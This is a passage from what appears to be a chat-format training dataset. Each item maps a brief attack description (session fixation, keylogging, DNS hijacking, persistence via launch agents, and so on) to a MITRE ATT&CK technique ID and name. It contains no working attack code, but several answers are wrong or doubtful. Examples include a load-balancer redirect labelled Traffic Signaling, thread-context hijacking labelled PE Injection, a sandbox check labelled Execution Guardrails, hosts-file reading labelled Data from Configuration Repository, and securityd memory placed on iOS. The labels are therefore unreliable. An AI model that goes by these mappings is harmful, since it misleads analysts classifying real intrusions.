            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts a session fixation attack, forcing the victim's browser to use a known cookie value that the attacker later reuses to gain access."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses Odbcconf to write registry keys for a malicious driver, resulting in code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set exfiltrates data by encoding it in outbound SSH sessions, employing asymmetric encryption to hide the content from deep packet inspection."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deploys a credential‑stealing utility that captures usernames and passwords by logging all typed characters."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker targeted Group Policy Preference settings, extracting the cpassword attribute from XML files to collect unsecured credentials for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a payload that spams the target's event log with bogus entries, exhausting disk space and preventing normal operation of the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in a load balancer, the attacker redirected legitimate web service traffic to a malicious backend server."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By continuously allocating large amounts of kernel memory, the adversary forces the operating system to crash, resulting in a denial of service condition."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a compromised domain that looks similar to the organization's domain to harvest employee passwords."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers observed the use of a publicly accessible SOCKS5 proxy by the threat actor to conceal the source of their malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the file permissions of a Windows service's driver file, the attacker inserts malicious code that loads during system startup."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets the ServiceDll value in the registry to point to a malicious DLL, achieving code execution via the service."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder harvests social media profiles to map out the structure of the target company and identify department heads."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker forged a trust link between the target domain and an attacker-controlled domain to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers monitor TikTok videos for background clues about office layouts and security badge designs."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script polls for the presence of GUI processes like explorer.exe and aborts if only background services are running, suggesting a virtualized environment."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code deployed a TightVNC service, enabling the threat actor to view and manipulate the compromised host's screen."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised third‑party software update mechanism to deliver a trojan to victims."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell scripts are used to establish a reverse HTTPS shell to the command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PsExec to push a malicious payload to multiple workstations."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor employed the Windows control.exe binary to proxy execution of a credential‑stealing module, demonstrating System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor used the default root credentials on a Linux server to gain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a phishing email to trick a developer into revealing their personal access token, then cloned the private repo."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware updates the macro project of a PowerPoint file, overwriting previous macros to obscure its presence."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage Zoom chat transcripts to collect meeting passwords and other authentication data, then exfiltrate the information."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages the SetThreadContext technique to replace the entry point of a legitimate process with a malicious PE payload."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script spoofs the username in HTTP headers to bypass access controls."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat used a custom shellcode loader that encrypted its payload with AES before writing it to a temporary file and executing it via reflective loading."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gathers information by scraping DNS records associated with CDN providers to identify the target's domains."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host’s Credential Manager is queried to retrieve stored domain credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors apply URL encoding to exfiltrated data to blend in with normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a compromised email account to gain access to the domain registrar's control panel and alter the name server records."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed command data within HTTP headers of legitimate-looking web requests."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script aborts execution when it finds a known sandbox process in the process list."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs a DNS hijack by modifying the NS records of a target domain to point to their own name servers."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script generates fake ransomware warnings on user screens, leading them to disable BitLocker."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group exploits a replication flaw to insert malicious SIDs into the SIDHistory of service accounts."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat deletes all snapshots in a virtual machine environment and disables snapshot creation to prevent snapshot-based recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker scans open-source code repositories and security advisories for information about unpatched flaws in the victim's applications."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Linux 'systemd' to create a service unit that runs a malicious binary on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a Registry value containing LDAP credentials that the backdoor reads during execution."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan's DGA includes the victim's OS version in the generated domain names for targeted C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor configures a task named \"Backup Service\" that silently runs a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet of compromised smart metering devices was leveraged to disrupt utility billing systems."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used the 'history -c' command to clear the user's command history after escalating privileges."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the malicious code checks for attached USB drives and copies itself to the drive to achieve persistence on other machines."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker forged SAML tokens by signing malicious assertions with a stolen private key, allowing access to the target's SSO portal."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker flashes malicious code onto the system's firmware, achieving persistence at the pre‑boot stage."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline pushes malicious code to a serverless endpoint, providing attacker-controlled execution."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changed the code signing policy configuration file to whitelist a compromised signing certificate, permitting unsigned or tampered binaries to run."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a macro-laden Office template that automatically runs a PowerShell command to add a new user to the system."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Windows 'runas' command to launch a malicious PowerShell payload after prompting the user for credentials, achieving elevated execution."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential theft occurs when the threat actor reads securityd's in‑memory password store on an iOS device."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a hidden stored procedure that escalates privileges and extracts credential hashes from the database."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set exfiltrates data by encoding it in HTTP POST requests to a benign-looking web application."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the SIP, the attacker causes the system to accept tampered installers as legitimate, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains the encryption keys from securityd memory and decrypts the password store."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the /proc directory to obtain information about each process."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the 'netdom trust /domain' command with verbose output to map trust hierarchies."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor communicates with its backdoor by sending custom-crafted UDP packets to a hard‑coded IP address, avoiding typical application‑layer traffic."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary initiates a UDP flood against a public DNS server using spoofed source IP addresses to overwhelm the target's network bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a launch agent to the user's Library folder to maintain persistence after reboots."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor compromises a partner company's VPN credentials and uses the trusted connection to infiltrate the target environment."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses launchctl load to install a custom launch agent that triggers every time the system wakes from sleep."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool runs a Python script to enumerate Active Directory users and groups."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Red Team inserts their SSH public key into the authorized_keys of a service account to retain access."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromise a third‑party vendor and use that relationship to gain access to the target network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker alters the encryption algorithm in the database driver to use MD5‑based encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware escalates privileges by changing the ownership of a critical system file to the attacker’s user account using `chown`."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker utilizes the Windows Credential Manager API to harvest web and application passwords stored locally."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Office Add‑in feature by delivering a malicious JavaScript add‑in for Office 365, which runs automatically when the user accesses the web version of Word."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obfuscate exfiltrated data by applying XOR encryption before sending it over the network."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder adds a hidden backdoor to the internal repository of ISO images, which is later used for system installations."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor collects detailed host configuration data—like CPU architecture, RAM size, and network adapters—to tailor subsequent payloads."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email included an attachment named Invoice.pdf.exe, which appeared as a PDF document in Windows Explorer."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the Windows hosts file and network configuration to map internal IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
